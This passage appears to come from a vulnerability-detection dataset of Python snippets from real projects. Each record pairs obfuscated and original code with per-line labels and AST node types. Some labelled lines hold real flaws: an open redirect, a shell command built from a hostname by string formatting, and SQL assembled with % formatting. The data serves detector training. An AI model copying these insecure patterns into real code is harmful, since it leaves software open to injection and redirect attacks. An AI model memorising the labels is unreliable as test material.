"if user is not None and user.verify_password(form.password.data):\n",
"login_user(user, form.remember_me.data)\n",
"flash('Invalid username or password.')\n",
"session['auth_token'] = user.auth_token\n",
"return redirect(request.args.get('next') or url_for('main.index'))\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
6
] | [
"Condition",
"Assign'",
"Condition",
"Assign'",
"Return'",
"Condition",
"Expr'",
"Expr'",
"Assign'",
"Return'"
] |
[
"def FUNC_4(self, VAR_8):...\n",
"self.title = VAR_8\n"
] | [
"def set_title(self, new_title):...\n",
"self.title = new_title\n"
] | [
0,
0
] | [
"FunctionDef'",
"Assign'"
] |
[
"def FUNC_2(self, VAR_1, VAR_7, VAR_8, VAR_9, VAR_4=None):...\n",
"if VAR_4 is None:\n",
"VAR_4 = {}\n",
"VAR_29 = super(CLASS_0, self).view_header_get(VAR_1, VAR_7, VAR_8, VAR_9, VAR_4\n )\n",
"if VAR_29:\n",
"return VAR_29\n",
"if VAR_4.get('active_id', False) and VAR_4.get('active_model'\n",
"return _('Products: ') + self.pool.get('stock.location').browse(VAR_1,\n VAR_7, VAR_4['active_id'], VAR_4).name\n",
"return VAR_29\n"
] | [
"def view_header_get(self, cr, user, view_id, view_type, context=None):...\n",
"if context is None:\n",
"context = {}\n",
"res = super(product_product, self).view_header_get(cr, user, view_id,\n view_type, context)\n",
"if res:\n",
"return res\n",
"if context.get('active_id', False) and context.get('active_model'\n",
"return _('Products: ') + self.pool.get('stock.location').browse(cr, user,\n context['active_id'], context).name\n",
"return res\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Assign'",
"Assign'",
"Condition",
"Return'",
"Condition",
"Return'",
"Return'"
] |
[
"def FUNC_12(VAR_16, VAR_19):...\n",
"if isinstance(VAR_16, CLASS_1):\n",
"return VAR_19 in VAR_16.flags\n",
"return False\n"
] | [
"def is_flagged(value, flag):...\n",
"if isinstance(value, AnnotatedString):\n",
"return flag in value.flags\n",
"return False\n"
] | [
0,
0,
7,
0
] | [
"FunctionDef'",
"Condition",
"Return'",
"Return'"
] |
[
"def FUNC_13(self, VAR_9, VAR_10=None, VAR_11=None, VAR_20=''):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_28 = self.get_and_check_task(VAR_9, VAR_10, VAR_11)\n",
"VAR_31 = {'all': 'all.zip', 'geotiff': os.path.join('odm_orthophoto',\n 'odm_orthophoto.tif'), 'las': os.path.join('odm_georeferencing',\n 'odm_georeferenced_model.ply.las'), 'ply': os.path.join(\n 'odm_georeferencing', 'odm_georeferenced_model.ply'), 'csv': os.path.\n join('odm_georeferencing', 'odm_georeferenced_model.csv')}\n",
"if VAR_20 in VAR_31:\n",
"VAR_33 = VAR_28.assets_path(VAR_31[VAR_20])\n",
"if not os.path.exists(VAR_33):\n",
"VAR_34 = os.path.basename(VAR_33)\n",
"VAR_35 = open(VAR_33, 'rb')\n",
"VAR_36 = HttpResponse(FileWrapper(VAR_35), content_type=mimetypes.\n guess_type(asset_filename)[0] or 'application/zip')\n",
"VAR_36['Content-Disposition'] = 'attachment; filename={}'.format(VAR_34)\n",
"return VAR_36\n"
] | [
"def get(self, request, pk=None, project_pk=None, asset=''):...\n",
"\"\"\"docstring\"\"\"\n",
"task = self.get_and_check_task(request, pk, project_pk)\n",
"allowed_assets = {'all': 'all.zip', 'geotiff': os.path.join(\n 'odm_orthophoto', 'odm_orthophoto.tif'), 'las': os.path.join(\n 'odm_georeferencing', 'odm_georeferenced_model.ply.las'), 'ply': os.\n path.join('odm_georeferencing', 'odm_georeferenced_model.ply'), 'csv':\n os.path.join('odm_georeferencing', 'odm_georeferenced_model.csv')}\n",
"if asset in allowed_assets:\n",
"asset_path = task.assets_path(allowed_assets[asset])\n",
"if not os.path.exists(asset_path):\n",
"asset_filename = os.path.basename(asset_path)\n",
"file = open(asset_path, 'rb')\n",
"response = HttpResponse(FileWrapper(file), content_type=mimetypes.\n guess_type(asset_filename)[0] or 'application/zip')\n",
"response['Content-Disposition'] = 'attachment; filename={}'.format(\n asset_filename)\n",
"return response\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Return'"
] |
[
"def FUNC_3(VAR_4):...\n",
"VAR_10 = sqlite3.connect(VAR_1)\n",
"VAR_11 = VAR_10.cursor()\n",
"VAR_11.execute('SELECT * FROM UserData WHERE session_id = ?', [VAR_4])\n",
"VAR_14 = VAR_11.fetchone()\n",
"VAR_10.close()\n",
"return VAR_14\n"
] | [
"def check_session(session_id):...\n",
"connection = sqlite3.connect(DATABASE_PATH)\n",
"cursor = connection.cursor()\n",
"cursor.execute('SELECT * FROM UserData WHERE session_id = ?', [session_id])\n",
"verified = cursor.fetchone()\n",
"connection.close()\n",
"return verified\n"
] | [
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Expr'",
"Return'"
] |
[
"from __future__ import unicode_literals\n",
"import frappe\n",
"from frappe.utils import getdate, add_days, today, cint\n",
"from frappe import _\n",
"def FUNC_0(VAR_0=None):...\n",
"VAR_1 = FUNC_1()\n",
"VAR_2 = FUNC_2(VAR_0)\n",
"return VAR_1, VAR_2\n"
] | [
"from __future__ import unicode_literals\n",
"import frappe\n",
"from frappe.utils import getdate, add_days, today, cint\n",
"from frappe import _\n",
"def execute(filters=None):...\n",
"columns = get_columns()\n",
"data = get_data(filters)\n",
"return columns, data\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0
] | [
"ImportFrom'",
"Import'",
"ImportFrom'",
"ImportFrom'",
"FunctionDef'",
"Assign'",
"Assign'",
"Return'"
] |
[
"def FUNC_5(VAR_4, *VAR_5, **VAR_6):...\n",
""
] | [
"def dummy_handler(remote, *args, **kargs):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"def __hash__(self):...\n",
"return self.name.__hash__()\n"
] | [
"def __hash__(self):...\n",
"return self.name.__hash__()\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_3(VAR_11):...\n",
"VAR_10.append(VAR_11)\n"
] | [
"def after_replace(func):...\n",
"_after_replace_callbacks.append(func)\n"
] | [
0,
0
] | [
"FunctionDef'",
"Expr'"
] |
[
"def FUNC_1(self):...\n",
"self.expected_requests([('http://localhost/a', {}, 'foo', None)])\n",
"VAR_0 = xsrf_client.XsrfRemote('http://localhost/')\n",
"self.assertEqual('foo', VAR_0.url_read('/a'))\n"
] | [
"def testXsrfRemoteGET(self):...\n",
"self.expected_requests([('http://localhost/a', {}, 'foo', None)])\n",
"remote = xsrf_client.XsrfRemote('http://localhost/')\n",
"self.assertEqual('foo', remote.url_read('/a'))\n"
] | [
0,
5,
5,
5
] | [
"FunctionDef'",
"Expr'",
"Assign'",
"Expr'"
] |
[
"def FUNC_2(self):...\n",
"self._mox.ReplayAll()\n",
"self.assertEqual(url_helper.UrlOpen('url', max_tries=-1), None)\n",
"self._mox.VerifyAll()\n"
] | [
"def testUrlOpenInvalidTryCount(self):...\n",
"self._mox.ReplayAll()\n",
"self.assertEqual(url_helper.UrlOpen('url', max_tries=-1), None)\n",
"self._mox.VerifyAll()\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Expr'",
"Expr'",
"Expr'"
] |
[
"def FUNC_22(self, VAR_11):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_35 = self.common._cli_run('showvlun -a -host %s' % VAR_11, None)\n",
"if VAR_35:\n",
"VAR_35 = VAR_35[1:]\n",
"for line in VAR_35:\n",
"VAR_30 = line.split(',')\n",
"if VAR_30 and len(VAR_30) > 4:\n",
"return VAR_30[4]\n"
] | [
"def _get_active_nsp(self, hostname):...\n",
"\"\"\"docstring\"\"\"\n",
"result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n",
"if result:\n",
"result = result[1:]\n",
"for line in result:\n",
"info = line.split(',')\n",
"if info and len(info) > 4:\n",
"return info[4]\n"
] | [
0,
0,
2,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Condition",
"Assign'",
"For",
"Assign'",
"Condition",
"Return'"
] |
[
"def FUNC_10(VAR_20, VAR_21, VAR_22=None):...\n",
"if VAR_20 not in VAR_5:\n",
"VAR_5[VAR_20] = []\n",
"VAR_45 = VAR_5[VAR_20]\n",
"VAR_21 = str(VAR_21)\n",
"VAR_22 = VAR_22 or ''\n",
"VAR_46 = VAR_22, VAR_21\n",
"if VAR_46 in VAR_6:\n",
"if VAR_46 not in VAR_45:\n",
"VAR_0.info('Appending %s to targets[%s]', repr(VAR_46), VAR_20)\n",
"VAR_45.append(VAR_46)\n"
] | [
"def add_target_exc(domain, id_, tuser=None):...\n",
"if domain not in targets:\n",
"targets[domain] = []\n",
"tlist = targets[domain]\n",
"id_ = str(id_)\n",
"tuser = tuser or ''\n",
"t = tuser, id_\n",
"if t in protected:\n",
"if t not in tlist:\n",
"logger.info('Appending %s to targets[%s]', repr(t), domain)\n",
"tlist.append(t)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Condition",
"Expr'",
"Expr'"
] |
[
"def FUNC_12(self, VAR_14):...\n",
""
] | [
"def is_numeric(self, col_name):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"def FUNC_0(VAR_0):...\n",
"return os.path.exists(os.path.join(VAR_0, '__init__.py'))\n"
] | [
"def _is_package(directory):...\n",
"return os.path.exists(os.path.join(directory, '__init__.py'))\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_3(self):...\n",
"VAR_8 = self.get_datadocument_count()\n",
"VAR_9 = 0 if VAR_8 == 0 else self.get_qa_complete_extractedtext_count(\n ) / VAR_8 * 100\n",
"return '{0:.0f}%'.format(VAR_9)\n"
] | [
"def get_pct_checked(self):...\n",
"count = self.get_datadocument_count()\n",
"pct = 0 if count == 0 else self.get_qa_complete_extractedtext_count(\n ) / count * 100\n",
"return '{0:.0f}%'.format(pct)\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Return'"
] |
[
"def FUNC_39(VAR_101):...\n",
"if VAR_101.input:\n",
"VAR_13.set_input(*VAR_101.input[0], **ruleinfo.input[1])\n",
"if VAR_101.output:\n",
"VAR_13.set_output(*VAR_101.output[0], **ruleinfo.output[1])\n",
"if VAR_101.params:\n",
"VAR_13.set_params(*VAR_101.params[0], **ruleinfo.params[1])\n",
"if VAR_101.threads:\n",
"if not isinstance(VAR_101.threads, int):\n",
"if VAR_101.resources:\n",
"VAR_13.resources['_cores'] = VAR_101.threads\n",
"VAR_76, VAR_52 = VAR_101.resources\n",
"if VAR_101.priority:\n",
"if VAR_76:\n",
"if not isinstance(VAR_101.priority, int) and not isinstance(VAR_101.\n",
"if VAR_101.version:\n",
"if not all(map(lambda r: isinstance(r, int), VAR_52.values())):\n",
"VAR_13.priority = VAR_101.priority\n",
"VAR_13.version = VAR_101.version\n",
"if VAR_101.log:\n",
"VAR_13.resources.update(VAR_52)\n",
"VAR_13.set_log(*VAR_101.log[0], **ruleinfo.log[1])\n",
"if VAR_101.message:\n",
"VAR_13.message = VAR_101.message\n",
"if VAR_101.benchmark:\n",
"VAR_13.benchmark = VAR_101.benchmark\n",
"VAR_13.norun = VAR_101.norun\n",
"VAR_13.docstring = VAR_101.docstring\n",
"VAR_13.run_func = VAR_101.func\n",
"VAR_13.shellcmd = VAR_101.shellcmd\n",
"VAR_101.func.__name__ = '__{}'.format(VAR_10)\n",
"self.globals[VAR_101.func.__name__] = VAR_101.func\n",
"setattr(VAR_86, VAR_10, VAR_13)\n",
"return VAR_101.func\n"
] | [
"def decorate(ruleinfo):...\n",
"if ruleinfo.input:\n",
"rule.set_input(*ruleinfo.input[0], **ruleinfo.input[1])\n",
"if ruleinfo.output:\n",
"rule.set_output(*ruleinfo.output[0], **ruleinfo.output[1])\n",
"if ruleinfo.params:\n",
"rule.set_params(*ruleinfo.params[0], **ruleinfo.params[1])\n",
"if ruleinfo.threads:\n",
"if not isinstance(ruleinfo.threads, int):\n",
"if ruleinfo.resources:\n",
"rule.resources['_cores'] = ruleinfo.threads\n",
"args, resources = ruleinfo.resources\n",
"if ruleinfo.priority:\n",
"if args:\n",
"if not isinstance(ruleinfo.priority, int) and not isinstance(ruleinfo.\n",
"if ruleinfo.version:\n",
"if not all(map(lambda r: isinstance(r, int), resources.values())):\n",
"rule.priority = ruleinfo.priority\n",
"rule.version = ruleinfo.version\n",
"if ruleinfo.log:\n",
"rule.resources.update(resources)\n",
"rule.set_log(*ruleinfo.log[0], **ruleinfo.log[1])\n",
"if ruleinfo.message:\n",
"rule.message = ruleinfo.message\n",
"if ruleinfo.benchmark:\n",
"rule.benchmark = ruleinfo.benchmark\n",
"rule.norun = ruleinfo.norun\n",
"rule.docstring = ruleinfo.docstring\n",
"rule.run_func = ruleinfo.func\n",
"rule.shellcmd = ruleinfo.shellcmd\n",
"ruleinfo.func.__name__ = '__{}'.format(name)\n",
"self.globals[ruleinfo.func.__name__] = ruleinfo.func\n",
"setattr(rules, name, rule)\n",
"return ruleinfo.func\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Expr'",
"Condition",
"Expr'",
"Condition",
"Expr'",
"Condition",
"Condition",
"Condition",
"Assign'",
"Assign'",
"Condition",
"Condition",
"Condition",
"Condition",
"Condition",
"Assign'",
"Assign'",
"Condition",
"Expr'",
"Expr'",
"Condition",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Docstring",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Return'"
] |
[
"def FUNC_4(VAR_2, VAR_3=None, VAR_4=None, VAR_5=0, VAR_6=20, VAR_7=None):...\n",
"VAR_11 = []\n",
"if VAR_4:\n",
"if VAR_4.blogger:\n",
"if VAR_3:\n",
"VAR_11.append('t1.blogger=\"%s\"' % frappe.db.escape(VAR_4.blogger))\n",
"if VAR_4.blog_category:\n",
"VAR_11.append('(t1.content like \"%{0}%\" or t1.title like \"%{0}%\")'.format(\n frappe.db.escape(VAR_3)))\n",
"if VAR_11:\n",
"VAR_11.append('t1.blog_category=\"%s\"' % frappe.db.escape(VAR_4.blog_category))\n",
"frappe.local.no_cache = 1\n",
"VAR_12 = 'string' % {'start': VAR_5, 'page_len': VAR_6, 'condition': \n ' and ' + ' and '.join(VAR_11) if VAR_11 else ''}\n",
"VAR_13 = frappe.db.sql(VAR_12, as_dict=1)\n",
"for post in VAR_13:\n",
"post.cover_image = find_first_image(post.content)\n",
"return VAR_13\n",
"post.published = global_date_format(post.creation)\n",
"post.content = strip_html_tags(post.content[:340])\n",
"if not post.comments:\n",
"post.comment_text = _('No comments yet')\n",
"if post.comments == 1:\n",
"post.avatar = post.avatar or ''\n",
"post.comment_text = _('1 comment')\n",
"post.comment_text = _('{0} comments').format(str(post.comments))\n",
"post.category = frappe.db.get_value('Blog Category', post.blog_category, [\n 'route', 'title'], as_dict=True)\n",
"if post.avatar and (not 'http:' in post.avatar and not 'https:' in post.avatar\n",
"post.avatar = '/' + post.avatar\n"
] | [
"def get_blog_list(doctype, txt=None, filters=None, limit_start=0,...\n",
"conditions = []\n",
"if filters:\n",
"if filters.blogger:\n",
"if txt:\n",
"conditions.append('t1.blogger=\"%s\"' % frappe.db.escape(filters.blogger))\n",
"if filters.blog_category:\n",
"conditions.append('(t1.content like \"%{0}%\" or t1.title like \"%{0}%\")'.\n format(frappe.db.escape(txt)))\n",
"if conditions:\n",
"conditions.append('t1.blog_category=\"%s\"' % frappe.db.escape(filters.\n blog_category))\n",
"frappe.local.no_cache = 1\n",
"query = (\n \"\"\"\t\tselect\n\t\t\tt1.title, t1.name, t1.blog_category, t1.route, t1.published_on,\n\t\t\t\tt1.published_on as creation,\n\t\t\t\tt1.content as content,\n\t\t\t\tifnull(t1.blog_intro, t1.content) as intro,\n\t\t\t\tt2.full_name, t2.avatar, t1.blogger,\n\t\t\t\t(select count(name) from `tabCommunication`\n\t\t\t\t\twhere\n\t\t\t\t\t\tcommunication_type='Comment'\n\t\t\t\t\t\tand comment_type='Comment'\n\t\t\t\t\t\tand reference_doctype='Blog Post'\n\t\t\t\t\t\tand reference_name=t1.name) as comments\n\t\tfrom `tabBlog Post` t1, `tabBlogger` t2\n\t\twhere ifnull(t1.published,0)=1\n\t\tand t1.blogger = t2.name\n\t\t%(condition)s\n\t\torder by published_on desc, name asc\n\t\tlimit %(start)s, %(page_len)s\"\"\"\n % {'start': limit_start, 'page_len': limit_page_length, 'condition': \n ' and ' + ' and '.join(conditions) if conditions else ''})\n",
"posts = frappe.db.sql(query, as_dict=1)\n",
"for post in posts:\n",
"post.cover_image = find_first_image(post.content)\n",
"return posts\n",
"post.published = global_date_format(post.creation)\n",
"post.content = strip_html_tags(post.content[:340])\n",
"if not post.comments:\n",
"post.comment_text = _('No comments yet')\n",
"if post.comments == 1:\n",
"post.avatar = post.avatar or ''\n",
"post.comment_text = _('1 comment')\n",
"post.comment_text = _('{0} comments').format(str(post.comments))\n",
"post.category = frappe.db.get_value('Blog Category', post.blog_category, [\n 'route', 'title'], as_dict=True)\n",
"if post.avatar and (not 'http:' in post.avatar and not 'https:' in post.avatar\n",
"post.avatar = '/' + post.avatar\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Condition",
"Condition",
"Condition",
"Expr'",
"Condition",
"Expr'",
"Condition",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"For",
"Assign'",
"Return'",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Assign'"
] |
[
"def FUNC_4(VAR_9, VAR_10):...\n",
"print('Expected: ', VAR_10)\n",
"VAR_15 = [{'name': doc['name_info']['name']} for doc in VAR_9['names']]\n",
"print('Actual: ', VAR_15)\n",
"assert_that(len(VAR_15), equal_to(len(VAR_10)))\n",
"for i in range(len(VAR_15)):\n",
"assert_that(VAR_15[i]['name'], equal_to(VAR_10[i]['name']))\n"
] | [
"def verify(data, expected):...\n",
"print('Expected: ', expected)\n",
"actual = [{'name': doc['name_info']['name']} for doc in data['names']]\n",
"print('Actual: ', actual)\n",
"assert_that(len(actual), equal_to(len(expected)))\n",
"for i in range(len(actual)):\n",
"assert_that(actual[i]['name'], equal_to(expected[i]['name']))\n"
] | [
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Expr'",
"Assign'",
"Expr'",
"Expr'",
"For",
"Expr'"
] |
[
"@property...\n",
"return os.path.exists(self.file)\n"
] | [
"@property...\n",
"return os.path.exists(self.file)\n"
] | [
0,
0
] | [
"Condition",
"Return'"
] |
[
"def FUNC_1(self):...\n",
"VAR_0 = TestApp(main({}))\n",
"VAR_1 = VAR_0.get('/service2', headers={'Accept': 'audio/*'}, status=406)\n",
"self.assertTrue('application/json' in VAR_1.json)\n",
"self.assertTrue('text/json' in VAR_1.json)\n",
"VAR_0.get('/service2', headers={'Accept': 'application/*'}, status=200)\n",
"VAR_0.get('/service2', headers={'Accept': 'audio/*, application/*'}, status=200\n )\n",
"VAR_1 = VAR_0.get('/service3', headers={'Accept': 'audio/*'}, status=406)\n",
"self.assertTrue('text/json' in VAR_1.json)\n",
"VAR_0.get('/service3', headers={'Accept': 'text/*'}, status=200)\n",
"VAR_0.get('/service2', status=200)\n"
] | [
"def test_accept(self):...\n",
"app = TestApp(main({}))\n",
"res = app.get('/service2', headers={'Accept': 'audio/*'}, status=406)\n",
"self.assertTrue('application/json' in res.json)\n",
"self.assertTrue('text/json' in res.json)\n",
"app.get('/service2', headers={'Accept': 'application/*'}, status=200)\n",
"app.get('/service2', headers={'Accept': 'audio/*, application/*'}, status=200)\n",
"res = app.get('/service3', headers={'Accept': 'audio/*'}, status=406)\n",
"self.assertTrue('text/json' in res.json)\n",
"app.get('/service3', headers={'Accept': 'text/*'}, status=200)\n",
"app.get('/service2', status=200)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"Expr'",
"Expr'"
] |
[
"def FUNC_6(self, VAR_9):...\n",
"\"\"\"docstring\"\"\"\n",
"print('\\nBye!')\n",
"return True\n"
] | [
"def do_EOF(self, line):...\n",
"\"\"\"docstring\"\"\"\n",
"print('\\nBye!')\n",
"return True\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Expr'",
"Return'"
] |
[
"def FUNC_22(self, VAR_11):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_35 = self.common._cli_run('showvlun -a -host %s' % VAR_11, None)\n",
"if VAR_35:\n",
"VAR_35 = VAR_35[1:]\n",
"for line in VAR_35:\n",
"VAR_30 = line.split(',')\n",
"if VAR_30 and len(VAR_30) > 4:\n",
"return VAR_30[4]\n"
] | [
"def _get_active_nsp(self, hostname):...\n",
"\"\"\"docstring\"\"\"\n",
"result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n",
"if result:\n",
"result = result[1:]\n",
"for line in result:\n",
"info = line.split(',')\n",
"if info and len(info) > 4:\n",
"return info[4]\n"
] | [
0,
0,
2,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Condition",
"Assign'",
"For",
"Assign'",
"Condition",
"Return'"
] |
[
"def FUNC_3(self, VAR_3, VAR_4):...\n",
"\"\"\"docstring\"\"\"\n",
"if not VAR_3.opt_type == bool:\n",
"if not VAR_3.opt_type == VAR_4.opt_type:\n",
"VAR_27 = VAR_4.value.lower()\n",
"VAR_1 = 'Invalid option type for %s. Expected %s got %s'\n",
"return VAR_4.value\n",
"if VAR_27 not in ['true', 'on', 'false', 'off']:\n",
"self._exit(VAR_1 % (VAR_4.name, VAR_3.opt_type, VAR_4.opt_type))\n",
"VAR_1 = (\n \"Invalid value for %s. Accepted values are: 'true', 'false', 'on', 'off'\")\n",
"if VAR_27 in ['true', 'on']:\n",
"self._exit(VAR_1 % VAR_4.name)\n",
"return True\n",
"return False\n"
] | [
"def _validate_option(self, default, cli):...\n",
"\"\"\"docstring\"\"\"\n",
"if not default.opt_type == bool:\n",
"if not default.opt_type == cli.opt_type:\n",
"val = cli.value.lower()\n",
"msg = 'Invalid option type for %s. Expected %s got %s'\n",
"return cli.value\n",
"if val not in ['true', 'on', 'false', 'off']:\n",
"self._exit(msg % (cli.name, default.opt_type, cli.opt_type))\n",
"msg = \"Invalid value for %s. Accepted values are: 'true', 'false', 'on', 'off'\"\n",
"if val in ['true', 'on']:\n",
"self._exit(msg % cli.name)\n",
"return True\n",
"return False\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Condition",
"Condition",
"Assign'",
"Assign'",
"Return'",
"Condition",
"Expr'",
"Assign'",
"Condition",
"Expr'",
"Return'",
"Return'"
] |
[
"def FUNC_9(self, VAR_14):...\n",
""
] | [
"def is_string(self, col_name):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"def FUNC_0(self, VAR_0, VAR_1):...\n",
"self.max_x = VAR_0\n",
"self.max_y = VAR_1\n"
] | [
"def bound(self, max_x, max_y):...\n",
"self.max_x = max_x\n",
"self.max_y = max_y\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'"
] |
[
"@integration_synonym_api...\n",
"FUNC_2(VAR_2)\n",
"FUNC_3(VAR_2, 'ANDERSON BEHAVIOR BEHAVIOR', VAR_7='1')\n",
"FUNC_5(VAR_4, VAR_5, VAR_11='BEHAVIOUR INTERVENTION', VAR_10=[{'name':\n '----BEHAVIOUR INTERVENTION'}, {'name': '----BEHAVIOUR'}, {'name':\n 'ANDERSON BEHAVIOR BEHAVIOR'}])\n"
] | [
"@integration_synonym_api...\n",
"clean_database(solr)\n",
"seed_database_with(solr, 'ANDERSON BEHAVIOR BEHAVIOR', id='1')\n",
"verify_results(client, jwt, query='BEHAVIOUR INTERVENTION', expected=[{\n 'name': '----BEHAVIOUR INTERVENTION'}, {'name': '----BEHAVIOUR'}, {\n 'name': 'ANDERSON BEHAVIOR BEHAVIOR'}])\n"
] | [
0,
0,
0,
0
] | [
"Condition",
"Expr'",
"Expr'",
"Expr'"
] |
[
"def FUNC_8(self):...\n",
"clear_cache('writers')\n"
] | [
"def on_update(self):...\n",
"clear_cache('writers')\n"
] | [
0,
0
] | [
"FunctionDef'",
"Expr'"
] |
[
"def FUNC_2(self):...\n",
"VAR_1 = '/api/apps'\n",
"VAR_2 = self.client.post(VAR_1)\n",
"self.assertEqual(VAR_2.status_code, 201)\n",
"VAR_3 = VAR_2.data['id']\n",
"VAR_1 = '/api/apps/{app_id}/builds'.format(**locals())\n",
"VAR_4 = {'image': 'autotest/example', 'sha': 'a' * 40, 'procfile': json.\n dumps({'web': 'node server.js', 'worker': 'node worker.js'})}\n",
"VAR_2 = self.client.post(VAR_1, json.dumps(VAR_4), content_type=\n 'application/json')\n",
"self.assertEqual(VAR_2.status_code, 201)\n",
"VAR_1 = '/api/apps/{app_id}/containers'.format(**locals())\n",
"VAR_2 = self.client.get(VAR_1)\n",
"self.assertEqual(VAR_2.status_code, 200)\n",
"self.assertEqual(len(VAR_2.data['results']), 1)\n",
"VAR_1 = '/api/apps/{app_id}/scale'.format(**locals())\n",
"VAR_4 = {'web': 0}\n",
"VAR_2 = self.client.post(VAR_1, json.dumps(VAR_4), content_type=\n 'application/json')\n",
"self.assertEqual(VAR_2.status_code, 204)\n",
"chaos.CREATE_ERROR_RATE = 0.5\n",
"VAR_1 = '/api/apps/{app_id}/scale'.format(**locals())\n",
"VAR_4 = {'web': 20}\n",
"VAR_2 = self.client.post(VAR_1, json.dumps(VAR_4), content_type=\n 'application/json')\n",
"self.assertEqual(VAR_2.status_code, 503)\n",
"VAR_1 = '/api/apps/{app_id}/containers'.format(**locals())\n",
"VAR_2 = self.client.get(VAR_1)\n",
"self.assertEqual(VAR_2.status_code, 200)\n",
"self.assertEqual(len(VAR_2.data['results']), 20)\n",
"VAR_5 = set([c['state'] for c in VAR_2.data['results']])\n",
"self.assertEqual(VAR_5, set(['error', 'created']))\n"
] | [
"def test_create_chaos(self):...\n",
"url = '/api/apps'\n",
"response = self.client.post(url)\n",
"self.assertEqual(response.status_code, 201)\n",
"app_id = response.data['id']\n",
"url = '/api/apps/{app_id}/builds'.format(**locals())\n",
"body = {'image': 'autotest/example', 'sha': 'a' * 40, 'procfile': json.\n dumps({'web': 'node server.js', 'worker': 'node worker.js'})}\n",
"response = self.client.post(url, json.dumps(body), content_type=\n 'application/json')\n",
"self.assertEqual(response.status_code, 201)\n",
"url = '/api/apps/{app_id}/containers'.format(**locals())\n",
"response = self.client.get(url)\n",
"self.assertEqual(response.status_code, 200)\n",
"self.assertEqual(len(response.data['results']), 1)\n",
"url = '/api/apps/{app_id}/scale'.format(**locals())\n",
"body = {'web': 0}\n",
"response = self.client.post(url, json.dumps(body), content_type=\n 'application/json')\n",
"self.assertEqual(response.status_code, 204)\n",
"chaos.CREATE_ERROR_RATE = 0.5\n",
"url = '/api/apps/{app_id}/scale'.format(**locals())\n",
"body = {'web': 20}\n",
"response = self.client.post(url, json.dumps(body), content_type=\n 'application/json')\n",
"self.assertEqual(response.status_code, 503)\n",
"url = '/api/apps/{app_id}/containers'.format(**locals())\n",
"response = self.client.get(url)\n",
"self.assertEqual(response.status_code, 200)\n",
"self.assertEqual(len(response.data['results']), 20)\n",
"states = set([c['state'] for c in response.data['results']])\n",
"self.assertEqual(states, set(['error', 'created']))\n"
] | [
0,
0,
5,
0,
0,
0,
0,
5,
0,
0,
5,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Expr'"
] |
[
"def FUNC_3(VAR_1, VAR_2):...\n",
"\"\"\"docstring\"\"\"\n",
"if VAR_2 is None:\n",
"return None\n",
"if not VAR_2.startswith('models:'):\n",
"return VAR_2\n",
"VAR_18 = VAR_2[7:VAR_2.rfind('/')].replace('/', '.')\n",
"VAR_19 = f'parlai.zoo.{VAR_18}'\n",
"print(VAR_19)\n",
"VAR_36 = importlib.import_module(VAR_19)\n",
"return VAR_20.path.join(VAR_1, 'models', VAR_2[7:])\n",
"VAR_37 = getattr(VAR_36, 'download')\n",
"VAR_37(VAR_1)\n"
] | [
"def modelzoo_path(datapath, path):...\n",
"\"\"\"docstring\"\"\"\n",
"if path is None:\n",
"return None\n",
"if not path.startswith('models:'):\n",
"return path\n",
